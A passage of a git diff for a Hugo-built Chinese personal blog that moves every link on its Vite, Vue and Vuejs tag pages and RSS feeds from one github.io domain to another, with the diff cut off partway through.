+      <link>https://chenjunlinabc.github.io/posts/87/</link>
       <pubDate>Wed, 18 Aug 2021 14:20:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/87/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/87/</guid>
       <description>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
 Vite在法语中的意思为快速的
 基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块
@@ -57,8 +57,8 @@ npm install
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
配置vite.config.ts
-import legacy from &#39;@vitejs/plugin-legacy&#39;
.</description>
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from &#39;@vitejs/plugin-legacy&#39; .</description>
     </item>
     
   </channel>
diff --git a/tags/vite/page/1/index.html b/tags/vite/page/1/index.html
index 129ad9e8..333c70c1 100644
--- a/tags/vite/page/1/index.html
+++ b/tags/vite/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/vite/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/vite/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/vite/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/vite/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/vite/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/vite/"></head></html>
\ No newline at end of file
diff --git a/tags/vue/index.html b/tags/vue/index.html
index 555ce79d..5e51ee74 100644
--- a/tags/vue/index.html
+++ b/tags/vue/index.html
@@ -1,37 +1,16 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>vue | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/vue/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/vue/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vue"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/vue/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vue"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>vue</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Element Plus组件库</h2></header><div class=entry-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>vue | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/vue/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/vue/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vue"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/vue/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vue"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>vue</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Element Plus组件库</h2></header><div class=entry-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus –save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from 'element-plus'
-import 'element-plus/dist/index.css'
-按需导入
+import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from 'unplugin-auto-import/vite'
-import Components from 'unplugin-vue-components/vite'
-...
-plugins: [
-AutoImport({
-resolvers: [ElementPlusResolver()],
-}),
-Components({
-resolvers: [ElementPlusResolver()],
-}),
-],
-这个组件库还支持module导入的方式手动按需使用，例如：
-&lt;template>
-&lt;el-button>I am ElButton&lt;/el-button>
-&lt;/template>
-&lt;script>
-import { ElButton } from 'element-plus'
-export default {
-components: { ElButton },
-}
-&lt;/script></p></div><footer class=entry-footer><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://xiaochenabc123.github.io/posts/157/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+&lt;template> &lt;el-button>I am ElButton&lt;/el-button> &lt;/template> &lt;script> import { ElButton } from 'element-plus' export default { components: { ElButton }, } &lt;/script></p></div><footer class=entry-footer><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://chenjunlinabc.github.io/posts/157/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/vue/index.xml b/tags/vue/index.xml
index 63cf8afd..76e189a1 100644
--- a/tags/vue/index.xml
+++ b/tags/vue/index.xml
@@ -2,35 +2,35 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>vue on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/vue/</link>
+    <link>https://chenjunlinabc.github.io/tags/vue/</link>
     <description>Recent content in vue on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 03 Nov 2022 17:40:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/vue/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 03 Nov 2022 17:40:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/vue/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Element Plus组件库</title>
-      <link>https://xiaochenabc123.github.io/posts/157/</link>
+      <link>https://chenjunlinabc.github.io/posts/157/</link>
       <pubDate>Thu, 03 Nov 2022 17:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/157/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/157/</guid>
       <description>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus &amp;ndash;save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from &#39;element-plus&#39;
import &#39;element-plus/dist/index.css&#39;
按需导入
+import ElementPlus from &#39;element-plus&#39; import &#39;element-plus/dist/index.css&#39; 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from &#39;unplugin-auto-import/vite&#39;
import Components from &#39;unplugin-vue-components/vite&#39;
...
plugins: [
AutoImport({
resolvers: [ElementPlusResolver()],
}),
Components({
resolvers: [ElementPlusResolver()],
}),
],
这个组件库还支持module导入的方式手动按需使用，例如：
-&amp;lt;template&amp;gt;
&amp;lt;el-button&amp;gt;I am ElButton&amp;lt;/el-button&amp;gt;
&amp;lt;/template&amp;gt;
&amp;lt;script&amp;gt;
import { ElButton } from &#39;element-plus&#39;
export default {
components: { ElButton },
}
&amp;lt;/script&amp;gt;
</description>
+import AutoImport from &#39;unplugin-auto-import/vite&#39; import Components from &#39;unplugin-vue-components/vite&#39; ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+&amp;lt;template&amp;gt; &amp;lt;el-button&amp;gt;I am ElButton&amp;lt;/el-button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { ElButton } from &#39;element-plus&#39; export default { components: { ElButton }, } &amp;lt;/script&amp;gt; </description>
     </item>
     
   </channel>
diff --git a/tags/vue/page/1/index.html b/tags/vue/page/1/index.html
index 32f1321b..7a9ba52b 100644
--- a/tags/vue/page/1/index.html
+++ b/tags/vue/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/vue/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/vue/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/vue/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/vue/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/vue/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/vue/"></head></html>
\ No newline at end of file
diff --git a/tags/vuejs/index.html b/tags/vuejs/index.html
index e433c3f2..72ba33b6 100644
--- a/tags/vuejs/index.html
+++ b/tags/vuejs/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>vuejs | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/vuejs/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/vuejs/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vuejs"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/vuejs/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vuejs"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>vuejs</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Nuxt.js学习笔记</h2></header><div class=entry-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>vuejs | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/vuejs/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/vuejs/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vuejs"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/vuejs/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vuejs"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img 